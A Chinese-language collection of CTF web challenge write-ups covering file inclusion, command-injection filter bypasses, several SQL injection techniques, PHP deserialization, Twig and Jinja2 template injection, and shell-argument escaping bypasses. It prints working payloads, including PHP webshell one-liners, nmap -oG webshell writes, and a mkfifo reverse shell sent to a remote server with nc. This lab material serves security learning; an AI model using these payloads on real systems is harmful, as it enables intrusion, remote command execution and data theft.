玉溪市网站建设_网站建设公司_VS Code_seo优化
2025/12/17 12:35:53 网站建设 项目流程

[极客大挑战 2019]Havefun

先f12看眼源码,发现有提示

get传参为dog会回显

[ACTF2020 新生赛]Include

点进tips问我们能找到flag吗

结合题目是文件包含并且url有可控传参读取flag

直接读读不到,先考虑 "php://input"伪协议 + POST发送PHP代码的经典套路,发现不行再尝试用php为协议来

file=php://filter/read=convert.base64-encode/resource=flag.php

发现读到了,解码得到flag

[GXYCTF2019]Ping Ping Ping

打开页面直接告诉我们用ip来传参,测一下发现这里是命令执行

直接看到flag.php,看看能不能直接读

过滤了空格,用${IFS}来代替 有时cat可能被过滤,那么尝试用tac,反向输出;或者 linux命令中可以加\,所以甚至可以ca\t /fl\ag

又提示说过滤了特殊字符那就换成$ IFS $1试一试发现可以

又提示过滤了flag,想到前面还有个index文件,看看里面有什么,好家伙过滤了这么多东西,而且flag这里是贪婪匹配

法一:编码绕过(只过滤了bash,但我们还有sh)

法三:变量覆盖(不懂为什么不同的覆盖方式会有不一样的结果)

法四:内联执行(所谓内联,就是将反引号内命令的输出作为输入执行)

  • 单个特殊字符:&/\?*<>'"()[]{}
  • 字符集[\x{00}-\x{1f}]:ASCII 码在031之间的控制字符(如换行、制表符等不可见字符)。

[极客大挑战 2019]EasySQL

进去一个登陆界面,(随便输点东西跳转到check.php页面,可知此页面与数据库产生交互)加上题目告诉我们时sql注入了,试一下发现时单引号字符型

字符型万能账号密码,直接就进去了

[极客大挑战 2019]LoveSQL

又是这个界面,弱密码试一试跳转到check.php

试出来是单引号闭合

字符型万能账号密码试一下,登陆成功

网站用的get型传参

那就在传参的地方测试看有没有注入点,猜解sql查询语句中的列数

没有报错,只是密码错误,试到4才报错

说明有三个列,再找注入点,发现2,3都是(这里123只是好看,重要的是注入点的位置) ?username=1’ union select 1,2,3%23&password=ads

接下来爆库,报表,爆字段,爆内容(真正寻找信息的过程)UNION SELECT用于将两个或多个SELECT语句的结果集合并成一个结果集

  • user():将会返回执行当前查询的用户名。
  • version():获取当前数据库版本。
  • @@version_compile_os:获取当前操作系统

?username=1’ union select 1,database(),3%23&password=ads

group_concat(table_name)将当前数据库中的所有表名拼接成一个字符串,便于一次性提取

?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“geek”%23&password=adsgroup_concat(table_name)将当前数据库中的所有表名拼接成一个字符串,便于一次性提取information_schema.tables是 MySQL 的系统表,存储了数据库中所有表的信息table_schemainformation_schema.tables表中的一个列,表示表所属的数据库

table_schemainformation_schema.tables表中的一个列,表示表所属的数据库

猜测大概率flag在表l0ve1ysq1中(长得像lovesql)

?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=ads

?username=1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=ads

可以f12去找flag,也可以确定id打印出来

1’ union select 1, 2, group_concat(password) from l0ve1ysq1 where id=16

[强网杯 2019]随便注

试出来发现是单引号闭合:

判断方式:

# 数字型 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; # 字符型 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

输入1’ or 1 = 1 测试一下是否存在sql注入

说明后端参数后面有可能存在其他sql语句,我们在1’ or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据

先判断一下字段个数:' union select 1,2;#这里看到正则过滤了关键字

既然select关键字无法使用(意味着联合查询,报错注入,布尔,时间盲注就都不可以使用了),我们可以通过堆叠注入的方式,来绕过select关键字

查看数据库名:1';show databases;#

查看数据表:1';show tables;#

查看表结构:有两种方式:

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

注意,如果tableName是纯数字,需要用包裹,就像这里的1’;desc1919810931114514;#

法一:

select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:1’;PREPARE a from concat(‘s’,‘elect’, ’ * from1919810931114514');EXECUTE a;#

这里set为变量赋值 PREPARE设置sql查询语法 EXECUTE 执行函数

法二:

上面concat里的部分也可以用16进制来绕过

也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

法三:

还可以通过handle直接出答案:1';HANDLER1919810931114514OPEN;HANDLER1919810931114514READ FIRST;HANDLER1919810931114514CLOSE;

法四:

可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:1'; alter table words rename to words1;alter table1919810931114514rename to words;alter table words change flag id varchar(50);#,然后通过1' or 1 = 1 #

[ACTF2020 新生赛]Exec

题目提示命令执行,老样子搞一下

好像没什么用,看看上级的目录有没有什么

发现flag,查看

法二:反弹shell 127.0.0.1 & rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 远程服务器ip 8899 >/tmp/f

[SUCTF 2019]EasySQL

手工盲注嘛,会发现连sleep等都全部过滤掉了,而且你输入数字的时候回显是:

Array([0]=>1)

输入字符的时候啥也不回显。
这个时候其实就懂得要放弃布尔盲注、时间盲注了。
这种格式很明显是要你搞后端代码

后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag

sql=select.post[‘query’].“||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
解法二:

把||变成字符串连接符,而不是或

涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置。

1;set sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]Http

1.什么是 Referer?
就是你点击A标签 Referer的信息告诉服务端你从哪里点击出来的。

2.什么是User-Agent?
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。可以抓包进行修改其中的值。

3.什么是X-Forwarded-For?
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。大概就是传输自己真实的IP地址,阻止匿名请求,但同样的也可以通过抓包进行修改。

[极客大挑战 2019]Secret File

f12发现有一个跳转页面

发现啥也没有,只能抓包看看有没有什么信息

发现有个secr3t.php,访问一下,终于看见阳光

这里源码的意思是

检查file参数是否包含以下字符串:

…/:防止路径遍历攻击。

tp:防止访问与tp(可能是ThinkPHP框架相关)相关的文件。

input:防止访问包含input`的文件。

data:防止访问包含data`的文件。

如果检测到上述字符串,输出“禁止访问”并退出

可以通过编码绕过(如%2e%2e%2f)或使用其他形式的路径遍历

strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串, //并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。 //两者区别在于前者对大小写敏感,后者对大小写不敏感

包含flag.php看一下

这里可以用php为协议secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php(并没有被过滤)

base64解密得到flag

[HCTF 2018]WarmUp

f12有提示

访问一下source.php,发现了源码,还有个文件hint.php,访问一下

ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里

highlight_file(__FILE__);此代码会高亮显示当前PHP文件的源代码,常用于调试或展示代码。

mb_strpos($page . '?', '?')

  • 此函数用来查找子字符串?在字符串$page . '?'中首次出现的位置。
  • ?添加到$page的末尾,目的是保证?一定会存在于字符串中,防止mb_strpos返回false
  • 要是$page里本身就有?,就会返回其首次出现的位置;若没有,就会返回$page的长度

hint.php?../…/…/…/…/ffffllllaaaagggg

[MRCTF2020]Ez_bypass

MD5函数绕过思路
1.传md5值是0e开头的字符串,比如
QNKCDZO(0e830400451993494058024219903391) 和
s878926199a(0e545993274517709034328855841020)
因为php在利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0
2.传递数组 因为向md5函数传递数组会返回NULL

is_numeric() 函数用于检测变量是否为数字或数字字符串。PHP 版本要求:PHP 4, PHP 5, PHP 7

[SUCTF 2019]CheckIn

上传普通的一句话提示过滤了<?,可以用插入

的图片马绕过 还可以在前面加 幻术头绕过 GIF89a(GIF图片的ascii 值)

[GXYCTF2019]BabySQli

常规sql注入方式给上去,测得是单引号字符型

f12得到一个像是加密的东西

梭哈知道是先base32再base64的编码,提示我们要传入一个变量name

hackbar打开也直接给了name

因为是post请求,所以bp抓包,在这直接hackbar(有回显)测得字段数为3

'union select 1,2,3#

发现没有直接将回显返回出来

理论上来说,联合查询是不可以使用的

同时,这道题是会有返回了错误信息,是不是感觉报错注入在向自己招手?

想尝试可以故意使用错误的sql语句看是否有错误信息回显

但痛苦的是,在本关过滤掉了 database(),最关键的是他把“()”也过滤掉了

这一关利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag

判断回显点

2,3都是

在这里账号是admin猜的,查看源码发现密码只要经过md5加密就可以

[GYCTF2020]Blacklist

测出是单引号闭合,并且有正常回显,尝试联合查询,发现过滤了些关键字,用不了联合查询了

漏洞成因

  • 使用mysqli_multi_query()这种支持多语句执行的函数
  • 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句

这时可以用堆叠注入

获取库名、表名、列名

setrename都被过滤时可以通过handler语句来获取flag

[网鼎杯 2020 青龙组]AreUSerialz

代码审计

PHP知识了解:

PHP访问修饰符
**public ** 公共的 任何成员都可以访问
private 私有的 只有自己可以访问
绕过方式:%00类名%00成员名
*protected ** 保护的 只有当前类的成员与继承该类的类才能访问
绕过方式:%00%00成员名

PHP类
**class **创建类

PHP关键字
function 用于用户声明自定义函数
$this-> 表示在类本身内部使用本类的属性或者方法
isset 用来检测参数是否存在并且是否具有值

PHP常见函数
**include() ** 包含函数 ** **
highlight_file() 函数对文件进行语法高亮显示
**file_put_contents() **函数把一个字符串写入文件中
**file_get_contents() ** 函数把整个文件读入一个字符串中
**is_valid() ** 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象
strlen 计算字符串长度
ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串

PHP魔法函数
**__construct() ** 实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用

class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } }

构析函数中,op使用强类型比较=判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。
在process()方法中,则使用弱类型比较
判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。

于是我们发现,若想读取flag,需要绕过process()方法的判断,防止op被置一。于是可以传入一个数字2,绕过process()方法的判断
第一种解法 突破ord函数限制(利用ord函数 返回 “S” 的 ASCII值 s为字符串类型 S为16进制字符串数据类型
绕过方式%00转换为\00即可绕过)
序列化代码

<?php class FileHandler { protected $op = 2; protected $filename ='flag.php'; //题目中包含flag的文件 protected $content; } $bai = urlencode(serialize(new FileHandler)); //URL编码实例化后的类FileHandler序列化结果 $mao =str_replace('%00',"\\00",$bai); //str_replace函数查找变量bai里面的数值%00并将其替换为\\00 $mao =str_replace('s','S',$mao); //str_replace函数查找变量mao里面的数值s并将其替换为S echo $mao //打印结果 ?>

运行得

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

第二种解法 突破protected访问修饰符限制

这个关键点是将受保护的对象转换成公共对象

<?php class FileHandler { protected $op = 2; protected $filename ='php://filter/read=convert.base64-encode/resource=flag.php'; //php://filter伪协议 protected $content; } $baimao=serialize(new FileHandler()); //实例化并序列化类FileHandler echo $baimao; //打印结果 ?>

[BSidesCF 2020]Had a bad day

f12没发现,随便点一下,发现是个get传参,测试下有没有sql注入

使用了include函数,并且会在最后自动添加一个.php 利用php为协议尝试查看源码

a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index

复制base64解码得到核心代码

<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>

strpos的用途和行为:它用于检查字符串是否包含特定子字符串,只有当这些子字符串存在时,才会加载文件

意思是我们传参必须要有woofers、meowers、index中的其中一个,构造payload

php://filter/read=convert.base64-encode/woofers/resource=flag

解码得flag

[网鼎杯 2018]Fakebook

打开这样

f12没东西没思路,扫下目录看看也没有东西

dirseach自带的字典在db目录下,使用格式以及常用参数如下:<br>py dirsearch.py ``-``u [target url] ``-``e ``* -``u后面跟要扫的url -``e是指定的url -``w是指定字典 -``r递归目录 -``-``random``-``agents使用随机UA

[BUUCTF 2018]Online Tool

点进去直接就是php代码,直接代码审计

escapeshellarg() 把字符串转码为可以在 shell 命令里使用的参数。 escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 即如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来 如果输入yq1ng’s,对应’yq1ng’\‘’s’ escapeshellcmd() shell 元字符转义 escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 即:1、有特殊字符–>转义;2、单、双引号不成对–>转义 ‘yq1ng’s’?–>’yq1ng’s\‘\; escapeshellcmd()主要是防止用户利用shell的一些技巧(如分号、管道符、反引号等)来进行命令注入攻击 处理过程:如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠给转义掉;如果单引号和双引号不是成对出现时,会被转义掉 场景功能: 1.确保用户只执行一个命令 2.用户可以指定不限数量的参数 3.用户不能执行不同的命令
实现: 如果存在,将REMOTE_ADDR替换为HTTP_X_FORWARDED_FOR的值。 问题: X-Forwarded-For头可以被客户端伪造,导致服务器误以为请求来自一个受信任的IP地址。例如,攻击者可以伪造这个头为一个内部IP地址(如192.168.1.1),从而绕过某些基于IP的访问控制。 实现: highlight_file(__FILE__)会将当前脚本的源代码以语法高亮的方式输出到浏览器。 问题: 这会导致服务器的源代码直接暴露给用户。攻击者可以利用泄露的源代码信息进一步分析和攻击服务器 获取用户输入: $host = $_GET['host'];获取用户通过host参数提供的值。 转义处理: 对$host值依次调用escapeshellarg和escapeshellcmd进行转义。 escapeshellarg:在命令行参数周围添加单引号,并转义单引号。 escapeshellcmd:转义命令字符串中的特殊字符,防止命令注入。 生成沙箱目录: $sandbox = md5("glzjin".$_SERVER['REMOTE_ADDR']);根据客户端IP生成一个唯一的沙箱目录名。 创建并切换目录: @mkdir($sandbox);创建沙箱目录(@用于抑制错误输出),chdir($sandbox);切换到该目录。
传入的参数是:``172.17``.``0.2``' ``-``v ``-``d a``=``1 经过escapeshellarg处理后变成了``'172.17.0.2'``\'``' -v -d a=1'``,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成``'172.17.0.2'``\\'``' -v -d a=1\'``,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http:``/``/``php.net``/``manual``/``zh``/``function.escapeshellcmd.php 最后执行的命令是curl ``'172.17.0.2'``\\'``' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'``没有被转义,与再后面的``'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'``,即向``172.17``.``0.2``\发起请求,POST 数据为a``=``1``'。

也就是说在host变量里面我们不能使用 ; & | 等符号来执行多条命令,不过题目里面提示了我们RCE,同时对于这两个函数简单查找了之后,发现两个一起使用的时候存在漏洞

为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件

所以我们可以控制自己的输入写入文件,构造payload为 ?host=’ -oG 1.php ’

执行成功 可能保存在 e6305cd14dbe6e1fc4041d81cb3fc9ee(是个目录)

[SWPU2019]Web1

二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤:

  1. 插入恶意数据(发布帖子,注册账号),用mysql_escape_string()函数对恶意字符进行转义,但是再将数据写入数据库中的时候又保留了原来的数据.
  2. 引用插入的恶意数据:在进行查询时,直接从数据库中引用恶意数据,没有做进一步过滤和检验

经过尝试发现过滤了空格,or,and,–+,#,order等关键字

order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2

试到22的时候不爆错,说明字段数为22

‘//group//by/**/22,’

'//union//select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

确认了回显的是2和3对应字段

查看数据库用户,版本

查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

information_schema在注入中不可或缺的原因无非是因为它包含了所有其他数据库的信息,主要是table_schema,table_name.column_name等等。那么有没有具有类似功能的存在呢?文章中提供了一种解法:5.7版本中新增了sys.schemasys.schema_auto_increment_columns该视图的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一 表(前提是使用的mysql)mariDB有mysql.innodb_table_stats表可以查表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这用使用无列名注入(无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。)

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[BJDCTF2020]Cookie is so stable

进去都点点,有三个页面都f12看一下,发现提醒我们要注意cookie

对flag页面抓包并拦截回报,发现多了个user=1

猜测是SSTI注入

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

这里在cookie处进行判断

user={{7*‘7’}},查看返回值

由于是Twig注入,所以是有固定的payload

{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}//查看id
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}//查看flag

[BJDCTF2020]The mystery of ip

flag处有IP值,结合题目“ip的秘密”,可能存在X-Forwarded-For注入,对flag界面进行抓包

加上xff头

PHP可能存在Twig模版注入漏洞,Flask可能存在Jinjia2模版注入漏洞 添加模板算式,{{7*7}}执行成功

尝试是否能执行命令:{{system(‘ls’)}}

可以继续获取flag {{system(‘cat /flag’)}}

[BJDCTF2020]ZJCTF,不过如此

代码审计

先看代码,提示了next.php,绕过题目的要求去回显next.php的base64加密内容

看到用的是file_get_contents()函数打开text。想到用data://协议

第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。

第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。

第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx,关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看效果:
第四部分是 base64 编码设定,这是一个可选项,base64 编码中仅包含 0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。

最后一部分为这个 Data URI 承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。

payload: ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

也可以bp抓包直接弄

解码

<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }

这里的漏洞出在preg_replace/e模式下

e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个(\1=\1),从而我们如果匹配可以,则可以将函数实现。
比如我们传入 ?.=**{${phpinfo()}}*

原句:preg_replace(‘/(’ . $ re . ‘)/ei’,‘strtolower(“\1”)’,KaTeX parse error: Undefined control sequence: \1 at position 51: …','strtolower("\̲1̲")',**{{phpinfo()}}**);

又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将.* 换成\s*

\S是什么意思?

正则表达式\S匹配非空字符

所有payload:?\S*=${getFlag()}&cmd=system(‘ls /’);

为什么用{${getFlag()}} 这个写法?

${phpinfo()}会调用phpinfo()函数并试图将结果嵌入到字符串中。

而如果使用phpinfo()函数,它不会自动嵌入到字符串中。

[极客大挑战 2019]RCE ME

代码审计,穿的code参数不能超40个字符,不能含大小写和数字(可以使用 异或绕过 和url编码取反绕过绕过:任意php版本下均可使用)

我们要先访问 phpinfo 来查找被禁用的函数,从而进一步来构造我们的payload

url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反

异或饶过
异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符

是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了

在这里,我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert($ _POST['a']);>,我们需要调用eval
拼接为 assert(eval( $_POST[test]))

构造脚本获取url编码取反

<?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST[test]))'; $d=urlencode(~$c); echo $d; ?>

拼接为assert(eval($_POST[test]))的payload

?code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

连接成功

由于 disable_functions的存在我们不能说直接读取flag,需要借助readflag来读取

借助蚁剑中的插件进行绕过

[网鼎杯 2020 朱雀组]Nmap

-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件

查看源码提示flag在/flag里

127.0.0.1’ -iL /flag -o haha
经过escapeshellarg函数后
‘127.0.0.1’‘’ -iL /flag -o haha’(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
‘127.0.0.1’‘’ -iL /flag -o haha’
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了
这样就分为了三部分’127.0.0.1’和’‘连接空白和-iL /flag -o haha’(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha’)
nmap既可扫描前面的ip,又能执行-iL /flag -o haha’

ip中输入,因为’127.0.0.1’\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到
法二:

可以构造payload为:'<?php @eval($_POST["a"]);?> -oG b.php' nmap 'ip' 闭合后成为nmap ''<?php eval($_POST["q"]);?> -oG b.php'' 但是提示hack,所以有过滤,猜想应该是过滤了php,可以换后缀名为phtml,至于<?php ?>则可以替换为短标签 最终payload为:' <?=@eval($_POST["a"]);?> -oG b.phtml ' 或者 ' <? echo @eval($_POST["a"]);?> -oG b.phtml ' 之后连接木马执行系统命令找到flag就行了http://46eba4f8-49d8-438b-bbda-cc15d6728b4c.node4.buuoj.cn:81/b.phtml <?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>

[WesternCTF2018]shrine

代码审计

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
app=flask.Flask(__name__)
  • 创建一个 Flask 应用实例。
app.config['FLAG']=os.environ.pop('FLAG')
  • 从环境变量中获取FLAG的值,并将其存储在应用的配置中。
  • os.environ.pop('FLAG')会从环境变量中移除并返回FLAG的值。
@app.route('/')defindex():returnopen(__file__).read()
  • 定义根路由/,当用户访问根 URL 时,返回当前脚本文件的源代码。
@app.route('/shrine/<shrine>')defshrine(shrine):
  • 定义动态路由/shrine/<shrine>,其中<shrine>是一个动态参数,表示用户输入的部分(!!!注意这里)。
defsafe_jinja(s):s=s.replace('(','').replace(')','')blacklist=['config','self']return''.join(['{{% set {}=None%}}'.format(c)forcinblacklist])+s
  • 定义一个内部函数safe_jinja,用于对用户输入的字符串进行简单的“清理”。
  • 移除字符串中的括号()
  • 使用黑名单机制,尝试将configself等敏感词设置为None,以防止某些 Jinja2 模板注入攻击。
returnflask.render_template_string(safe_jinja(shrine))
  • 使用 Flask 的render_template_string方法渲染经过safe_jinja处理的用户输入字符串。
  • 这里存在严重的安全隐患,因为用户输入的字符串仍然可能包含恶意的 Jinja2 模板代码。
if__name__=='__main__':app.run(debug=True)
  • 如果脚本作为主程序运行,启动 Flask 开发服务器,并开启调试模式。

如果没有黑名单的时候,我们可以使用config,传入config,或者使用self,传入{{self.__dict__}}

config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量

python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象

这里有两个函数包含了current_app全局变量,url_forget_flashed_messages

url_for这个可以用来构造url,接受函数名作为第一个参数

get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出

我们注入{url_for.__globals__}得到 构造payload

/shrine/{{url_for.__globals__}}

current_app`是当前使用的`app`,继续注入当前`app`的`config {url_for.__globals__['current_app'].config}

成功找到flag

get_flashed_message()也是同理 payload:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[ASIS 2019]Unicorn shop

进去,买最贵的提示只允许输入一个字符

买前三个只是提示错误的商品,猜测大概率flag就在第四个里

看源码提示说编码非常重要 我们需要找到一个字符比1337大的数字,也就是utf-8编码的转换安全问题

在这个网站搜索大于thousand 的单个字符,就可以购买第四只独角兽了:https://www.compart.com/en/unicode/

